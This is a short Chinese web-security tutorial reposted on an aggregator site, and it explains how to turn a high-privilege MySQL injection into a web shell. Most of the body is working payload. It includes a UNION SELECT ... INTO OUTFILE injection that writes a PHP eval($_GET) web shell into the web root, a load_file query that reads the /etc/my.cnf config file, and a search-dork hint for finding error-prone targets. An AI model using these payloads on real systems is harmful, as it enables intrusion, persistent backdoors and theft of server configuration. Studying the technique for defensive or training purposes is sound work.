美文网首页
风炫安全Web安全学习第十六节课 高权限sql注入getshe

风炫安全Web安全学习第十六节课 高权限sql注入getshe

作者: 风炫安全 | 来源:发表于2021-01-06 10:19 被阅读0次

风炫安全Web安全学习第十六节课 高权限sql注入getshell

sql高权限getshell

前提条件：

  1. 需要知道目标网站绝对路径

  2. 目录具有写的权限

  3. 需要当前数据库用户开启了secure_file_priv

select database() into outfile '/var/www/html/1.txt'

allen' union select 1,'<?php eval($_GET[w]); ?>' into outfile '/var/www/html/2.php' #

site: xxx.com error

写文件

into outfile 将select的结果写入到指定目录的1.txt中

在一些没有回显的注入中可以使用into outfile的结果写入文件中，然后获得权限

读文件

Load_file 函数可以读文件

select load_file('/etc/my.cnf');
参考：
(https://blog.evalshell.com/2020/12/20/%e9%a3%8e%e7%82%ab%e5%ae%89%e5%85%a8web%e5%ae%89%e5%85%a8%e5%ad%a6%e4%b9%a0%e7%ac%ac%e5%8d%81%e4%ba%94%e8%8a%82%e8%af%be-%e9%ab%98%e6%9d%83%e9%99%90sql%e6%b3%a8%e5%85%a5getshell/)[https://blog.evalshell.com/2020/12/20/%e9%a3%8e%e7%82%ab%e5%ae%89%e5%85%a8web%e5%ae%89%e5%85%a8%e5%ad%a6%e4%b9%a0%e7%ac%ac%e5%8d%81%e4%ba%94%e8%8a%82%e8%af%be-%e9%ab%98%e6%9d%83%e9%99%90sql%e6%b3%a8%e5%85%a5getshell/]

相关文章

网友评论

      本文标题：风炫安全Web安全学习第十六节课 高权限sql注入getshe

      本文链接：https://www.haomeiwen.com/subject/krewoktx.html

      延伸阅读

      深度阅读

      • 您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！

      栏目导航

      热点阅读

      关于我们|服务条款|联系我们|风炫安全Web安全学习第十六节课 高权限sql注入getshe|投稿指南|网站地图|RSS订阅|排版工具|手机版

      提供经典美文摘抄,优美散文欣赏,现代诗歌精选,短篇小说,心情随笔,表白情书范文,故事会在线阅读欣赏

      Copyright © 2014-2023 Haomeiwen.com All Rights Reserved. 好美文阅读网 版权所有

      备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

      本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

      所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！